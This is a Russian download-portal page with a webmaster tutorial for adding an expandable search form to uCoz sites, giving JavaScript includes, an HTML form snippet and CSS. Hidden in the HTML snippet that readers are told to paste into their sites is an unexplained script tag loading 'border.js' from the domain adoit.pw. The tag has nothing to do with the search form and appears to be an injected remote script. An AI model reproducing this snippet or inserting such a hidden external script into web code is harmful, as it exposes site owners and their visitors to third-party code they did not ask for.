Привет Гость | Главная | Форум | Связь с нами | Правообладателям Статистика | Регистрация | Вход
Общалочка

Наши партнеры
Мир природы, путешествия и туризм
Гимнастические кольца

Наш опрос
Нужен ли сайту форум?
Всего ответов: 330

Продвижение сайта

Создаём раздвижную форму поиска для uCoz бесплатно

Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
14:09
Скачать Создаём раздвижную форму поиска для uCoz бесплатно

Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>  
  <script src="http://pnghosts.ru/js_css/uisearch.js"></script>  
  <script>  
  new UISearch( document.getElementById( 'sb-search' ) );  
  </script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">  
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>  
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />  
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz  
  ------------------------------------------*/  
  .sb-search {  
  position: relative;  
  margin-top: 10px;  
  width: 0%;  
  min-width: 32px;  
  height: 32px;  
  float: right;  
  overflow: hidden;  
   
  -webkit-transition: width 0.3s;  
  -moz-transition: width 0.3s;  
  transition: width 0.3s;  
  -webkit-backface-visibility: hidden;  
  }  

  .sb-search-input {  
  position: absolute;  
  top: 0;  
  right: 0;  
   
  margin: 0;  
  z-index: 10;  
  width:300px;  
  height: 20px;  
  outline: none;  
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;  
   
  font:11px Verdana,Arial,Helvetica, sans-serif;  
  color:#555;  
  border-radius:3px 0px 0px 3px;  
  }  

  .sb-search-input::-webkit-input-placeholder {  
  color: #efb480;  
  }  

  .sb-search-input:-moz-placeholder {  
  color: #efb480;  
  }  

  .sb-search-input::-moz-placeholder {  
  color: #efb480;  
  }  

  .sb-search-input:-ms-input-placeholder {  
  color: #efb480;  
  }  

  .sb-icon-search,  
  .sb-search-submit {  
  position: absolute;  
  right: 0;  
  top: 0;  
  margin: 0;  
   
  width: 32px;  
  height: 32px;  
  display: block;  

  line-height: 30px;  
  text-align: center;  
  cursor: pointer;  
  }  

  .sb-search-submit {  
  background: #fff;  
  color: transparent;  
  border: none;  
  outline: none;  
  z-index: -1;  
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
  }  

  .sb-icon-search {  
  border:none;  
  z-index: 90;  
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;  
  -webkit-font-smoothing: antialiased;  
  border-radius:3px 3px 3px 3px;  
  }  

  .sb-icon-search:before {  
  content: "\e000";  
  }  

  .sb-search.sb-search-open,  
  .no-js .sb-search {  
  width: 100%;  
  }  

  .sb-search.sb-search-open .sb-icon-search,  
  .no-js .sb-search .sb-icon-search {  
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;  
  z-index: 11;  
  border-radius:0px 3px 3px 0px;  
  }  

  .sb-search.sb-search-open .sb-search-submit,  
  .no-js .sb-search .sb-search-submit {  
  z-index: 90;  
  }


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

Скачать бесплатно:

Создаём раздвижную форму поиска для uCoz

Понравилось Создаём раздвижную форму поиска для uCoz ? Дай знать о ней другим!:)

Категория: Вебмастеру | Просмотров: 262 | Добавил: DoG | Рейтинг: 0.0/0

Смотрите на сайте:


Скачать бесплатно Laurent Wolf feat. Andrew Roachford Survive
Категория: Клипы
Просмотров: 409

Скачать бесплатно Сделай сам. Мебель своими руками
Категория: Книги, Журналы
Просмотров: 782

Скачать бесплатно Кошмар на улице Вязов/A Nightmare on Elm Street (2010/TS/1.37 Gb)
Категория: Фильмы
Просмотров: 433

Скачать бесплатно Энциклопедия-Евроремонты
Категория: Разное
Просмотров: 581

Скачать бесплатно Красивейшие пейзажи нашей планеты
Категория: Картинки,обои,графика
Просмотров: 458

Скачать бесплатно Февральский выпуск журнала Шпиль №2 (2011)
Категория: Книги, Журналы
Просмотров: 437

Скачать бесплатно Ashampoo Burning Studio 2010 Retail Скачать бесплатно
Категория: Софт
Просмотров: 402

Скачать бесплатно jv16 PowerTools 2010 2.0.0.981 Final RUS
Категория: Софт
Просмотров: 350

Скачать бесплатно Dee-1 - Так Много Хочется Забыть
Категория: Музыка
Просмотров: 475

Скачать бесплатно Фрактальные обои необычайной красоты
Категория: Картинки,обои,графика
Просмотров: 1068

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня нас посетили:

Пользователи в online

Статистика
Яндекс цитирования

Наши друзья

Баннер сайта


Если наш сайт был вам полезен, вы можете отблагодарить нас разместив наш баннер у себя на сайте





Музыка онлайн
KIBERMUSIK - SUDDEN PAIN
[21.02.2010][Drum N'Bass]
cj GRABBER - FIGHT
[21.02.2010][Drum N'Bass]
Narcotic Thrust - I Like It (Alex Kobele...
[29.12.2009][House]
Rexstar&Bessonnica_Acapella - Я не забуд...
[13.02.2010][Русский рэп]
NoMosk vs. MIZUKA ARAI - Motteke! Sailor...
[26.01.2010][Club]

Категории раздела
Фильмы [2697]
Музыка [7113]
Игры [5789]
Софт [11791]
Книги, Журналы [4287]
Клипы [783]
Мобильное,кпк,смарт [966]
Вебмастеру [105]
Картинки,обои,графика [1164]
Разное [907]
Скринсейверы [10]
Кисти [4]
Рамки [85]
Шрифты [1]
Шаблоны [187]
Клипарты [108]
Плагины [21]
Текстуры, фоны [1]
Заливки [0]
PSD исходники [7]
Градиенты [1]
Экшены [4]
Стили [0]
Уроки [1463]

Карта сайта © 2009-2011 portalDi.ru
Все материалы, размещенные на сайте, принадлежат соответствующим правообладателям и размещены исключительно в ознакомительных целях.